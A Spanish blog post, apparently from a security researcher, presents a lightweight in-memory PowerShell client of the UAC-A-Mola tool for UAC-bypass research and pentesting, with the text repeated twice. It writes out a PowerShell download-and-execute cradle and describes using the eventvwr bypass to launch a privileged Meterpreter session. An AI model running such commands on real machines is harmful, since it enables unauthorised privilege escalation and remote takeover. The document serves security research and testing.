Cuando Santiago Hernández y yo comenzamos a trabajar en UAC-A-Mola veíamos claro el objetivo. Una nueva herramienta que permitiera investigar en nuevos bypasses, detectar y explotar bypasses de UAC conocidos para aplicar seguridad en la mitigación de éstos en un entorno corporativo. Pero, sobre todo, lo comentado al principio, es decir, una herramienta de investigación.
Tras diez meses desde la publicación de la herramienta no hemos avanzado todo lo que nos hubiera gustado en ella, pero había algo que si teníamos claro y es el convertir a UAC-A-Mola en algo más ligero o con menor dependencia y que pudiera ser utilizado directamente desde memoria enfocándola a un uso mayor en el Ethical Hacking. Eso sí, sin perder su naturaleza de investigación.
La idea era crear código Powershell que pudiera ser cargado en memoria y poder trabajar con él como si trabajásemos con UAC-A-Mola. Tras un análisis posterior, me di cuenta que quizá sería interesante no disponer de un modo interactivo pensando en poder ejecutarlo desde una Powershell en un Meterpreter.
Lo primero era utilizar la base de iBombshell y poder ejecutar un pequeño UAC-A-Mola en memoria. Decidí crear dos modos diferentes: un modo interactivo a modo de consola y otro segundo modo que funcionaría con parámetros ejecutaría el proceso y finalizaría la ejecución. Este segundo modo fue pensado viendo su utilización con un Meterpreter de Metasploit y la extensión de Powershell de ésta.
La nueva herramienta fue presentada en la 8dot8 de Chile donde hablamos de UAC-A-Mola y de cómo ha evolucionado hasta ver el nacimiento de este cliente ligero, el cual es ejecutado en memoria y proporciona dos modos de funcionamiento.
El código no es muy grande, aunque tiene dos partes diferenciadas, el modo de ejecución interactivo del modo normal. En este artículo hablaremos del modo normal de ejecución e iremos situando diferentes entornos.
Como se puede ver en la imagen, una vez que se carga la función y es ejecutada ésta muestra las posibilidades que ofrece. Lo importante aquí es que uacamola_tc no debe estar descargado en ningún lugar, si no que la función es descargada en el instante y directamente a la memoria del equipo, sea el equipo del pentester o el equipo comprometido. Para ello, se debe ejecutar la instrucción:
La configuración de la herramienta será sencilla, disponemos de una opción –list que nos muestra los módulos disponibles y las opciones de estos módulos. Por ejemplo, si queremos descargar el módulo de bypass UAC con el método del eventvwr, o también conocido como Fileless, deberemos configurarle con sus opciones.
Hay que notar que los módulos implementados deben ser capaces de recibir opciones. Estas opciones son pasadas en el tipo de datos Hashtable de Powershell. En otras palabras, toda función de uacamola_tc debe recibir un parámetro que será un objeto Hashtable llamado $Options. En este Hashtable habrá pares clave-valor. Este tipo de pares son las opciones que cada función utilizará y que los creadores de las funciones deben definir.
Por ejemplo, la función buac_eventvwr puede recibir un $Options con dos claves: nodefault e instruction. También, ya que así fue implementado, puede funcionar sin parámetros, es decir, si recibe un Hashtable vacío tendrá una ejecución por defecto. En este caso, realiza un bypass de UAC y crea un fichero en C:\, ruta donde sin privilegio no se podría escribir, por lo que el bypass ha funcionado.
Como vemos en la siguiente imagen, si en vez de pasar un Hashtable vacío, le indicamos las claves que venían en la ayuda del módulo, cuando ejecutábamos el parámetro list, se configura el módulo como nosotros queremos realmente ejecutarlo.
En este caso, se realizará un bypass de UAC sobre la máquina y, además, se ejecutará una Powershell que realizará una conexión contra el módulo web_delivery de Metasploit y se descargará, también en memoria, un Meterpreter y se conseguirá una sesión de éste en Metasploit corriendo sobre nuestro Kali Linux.
A continuación, se puede ver la sesión que se obtiene de Meterpreter gracias al bypass de UAC. Hay que decir que hasta aquí todo se hace localmente, desde la máquina Windows y esta parte es de investigación o prueba, ya que un bypass de UAC en un Ethical Hacking se realizará desde una shell remota.
Ahora, con una sesión de Meterpreter que tengamos sin privilegio, pero en la que el usuario del proceso comprometido pertenece al grupo de administradores, vamos a realizar un ejemplo de uso de uacamola_tc en modo no interactivo. Lo primero sería cargar la extensión de Powershell en memoria y poder interactuar con Powershell en el Meterpreter.
Como se puede ver, una vez cargada la función remotamente de uacamola_tc se puede observar que está en el provider de funciones cargadas en memoria. Hay que notar que aunque en el ejemplo pongamos la dirección IP 10.0.0.1, cuando se libere la herramienta habrá que indicar el repositorio de Github adecuado.
Luego ejecutamos una instrucción cómo hicimos anteriormente, es una instrucción larga, pero eficaz. Provocará el bypass de UAC y, posteriormente, ejecutará un nuevo Meterpreter ya con privilegios. De momento UAC-A-Mola TC (o thin client) no está disponible en el repositorio de Github de ElevenPaths, pero pronto lo estará y podrá ser utilizado como una pequeña herramienta para trabajar en memoria con el UAC en un Ethical Hacking. Más adelante, hablaremos del modo interactivo de la herramienta.
Además, os dejo un video del funcionamiento de la herramienta dentro de una Powershell generada en una sesión de Meterpreter utilizando UAC-a-mola thin client.
Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advance Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDO de Telefónica.
Figura 1: UAC-A-Mola^2 Evolution |
Tras diez meses desde la publicación de la herramienta no hemos avanzado todo lo que nos hubiera gustado en ella, pero había algo que si teníamos claro y es el convertir a UAC-A-Mola en algo más ligero o con menor dependencia y que pudiera ser utilizado directamente desde memoria enfocándola a un uso mayor en el Ethical Hacking. Eso sí, sin perder su naturaleza de investigación.
La idea era crear código Powershell que pudiera ser cargado en memoria y poder trabajar con él como si trabajásemos con UAC-A-Mola. Tras un análisis posterior, me di cuenta que quizá sería interesante no disponer de un modo interactivo pensando en poder ejecutarlo desde una Powershell en un Meterpreter.
Figura 2: UAC Bypass & Research with UAC-A-Mola
Lo primero era utilizar la base de iBombshell y poder ejecutar un pequeño UAC-A-Mola en memoria. Decidí crear dos modos diferentes: un modo interactivo a modo de consola y otro segundo modo que funcionaría con parámetros ejecutaría el proceso y finalizaría la ejecución. Este segundo modo fue pensado viendo su utilización con un Meterpreter de Metasploit y la extensión de Powershell de ésta.
Figura 3: iBombShell: Dynamic Remote Shell
La nueva herramienta fue presentada en la 8dot8 de Chile donde hablamos de UAC-A-Mola y de cómo ha evolucionado hasta ver el nacimiento de este cliente ligero, el cual es ejecutado en memoria y proporciona dos modos de funcionamiento.
El código no es muy grande, aunque tiene dos partes diferenciadas, el modo de ejecución interactivo del modo normal. En este artículo hablaremos del modo normal de ejecución e iremos situando diferentes entornos.
Figura 4: UAC-a-Mola thin client |
Como se puede ver en la imagen, una vez que se carga la función y es ejecutada ésta muestra las posibilidades que ofrece. Lo importante aquí es que uacamola_tc no debe estar descargado en ningún lugar, si no que la función es descargada en el instante y directamente a la memoria del equipo, sea el equipo del pentester o el equipo comprometido. Para ello, se debe ejecutar la instrucción:
iex(new-object net.webclient).downloadstring([direcciónFunción])La idea es hacer igual que con iBombshell, es decir, disponer de la función en un repositorio de Github, en este caso será el repositorio de UAC-A-Mola, y solicitar la función cuando sea necesaria. Ésta irá directamente a memoria, sin pasar por disco.
Figura 5: Repositorio de UAC-a-Mola |
La configuración de la herramienta será sencilla, disponemos de una opción –list que nos muestra los módulos disponibles y las opciones de estos módulos. Por ejemplo, si queremos descargar el módulo de bypass UAC con el método del eventvwr, o también conocido como Fileless, deberemos configurarle con sus opciones.
Figura 6: uac-a-mola thin client -list |
Hay que notar que los módulos implementados deben ser capaces de recibir opciones. Estas opciones son pasadas en el tipo de datos Hashtable de Powershell. En otras palabras, toda función de uacamola_tc debe recibir un parámetro que será un objeto Hashtable llamado $Options. En este Hashtable habrá pares clave-valor. Este tipo de pares son las opciones que cada función utilizará y que los creadores de las funciones deben definir.
Por ejemplo, la función buac_eventvwr puede recibir un $Options con dos claves: nodefault e instruction. También, ya que así fue implementado, puede funcionar sin parámetros, es decir, si recibe un Hashtable vacío tendrá una ejecución por defecto. En este caso, realiza un bypass de UAC y crea un fichero en C:\, ruta donde sin privilegio no se podría escribir, por lo que el bypass ha funcionado.
Figura 7: UAC-a-Mola thin client -module |
Como vemos en la siguiente imagen, si en vez de pasar un Hashtable vacío, le indicamos las claves que venían en la ayuda del módulo, cuando ejecutábamos el parámetro list, se configura el módulo como nosotros queremos realmente ejecutarlo.
En este caso, se realizará un bypass de UAC sobre la máquina y, además, se ejecutará una Powershell que realizará una conexión contra el módulo web_delivery de Metasploit y se descargará, también en memoria, un Meterpreter y se conseguirá una sesión de éste en Metasploit corriendo sobre nuestro Kali Linux.
Figura 8: Configuración del módulo para explotación de shell |
A continuación, se puede ver la sesión que se obtiene de Meterpreter gracias al bypass de UAC. Hay que decir que hasta aquí todo se hace localmente, desde la máquina Windows y esta parte es de investigación o prueba, ya que un bypass de UAC en un Ethical Hacking se realizará desde una shell remota.
Figura 9: Sesión Meterpreter conseguida en nuestro Metasploit sobre Kali Linux |
Ahora, con una sesión de Meterpreter que tengamos sin privilegio, pero en la que el usuario del proceso comprometido pertenece al grupo de administradores, vamos a realizar un ejemplo de uso de uacamola_tc en modo no interactivo. Lo primero sería cargar la extensión de Powershell en memoria y poder interactuar con Powershell en el Meterpreter.
Figura 10: Shell de Powershell en Metasploit |
Como se puede ver, una vez cargada la función remotamente de uacamola_tc se puede observar que está en el provider de funciones cargadas en memoria. Hay que notar que aunque en el ejemplo pongamos la dirección IP 10.0.0.1, cuando se libere la herramienta habrá que indicar el repositorio de Github adecuado.
Figura 11: Bypass con uacamola_tc |
Luego ejecutamos una instrucción cómo hicimos anteriormente, es una instrucción larga, pero eficaz. Provocará el bypass de UAC y, posteriormente, ejecutará un nuevo Meterpreter ya con privilegios. De momento UAC-A-Mola TC (o thin client) no está disponible en el repositorio de Github de ElevenPaths, pero pronto lo estará y podrá ser utilizado como una pequeña herramienta para trabajar en memoria con el UAC en un Ethical Hacking. Más adelante, hablaremos del modo interactivo de la herramienta.
Figura 12: PoC de UAC-a-mola thin client
Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advance Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDO de Telefónica.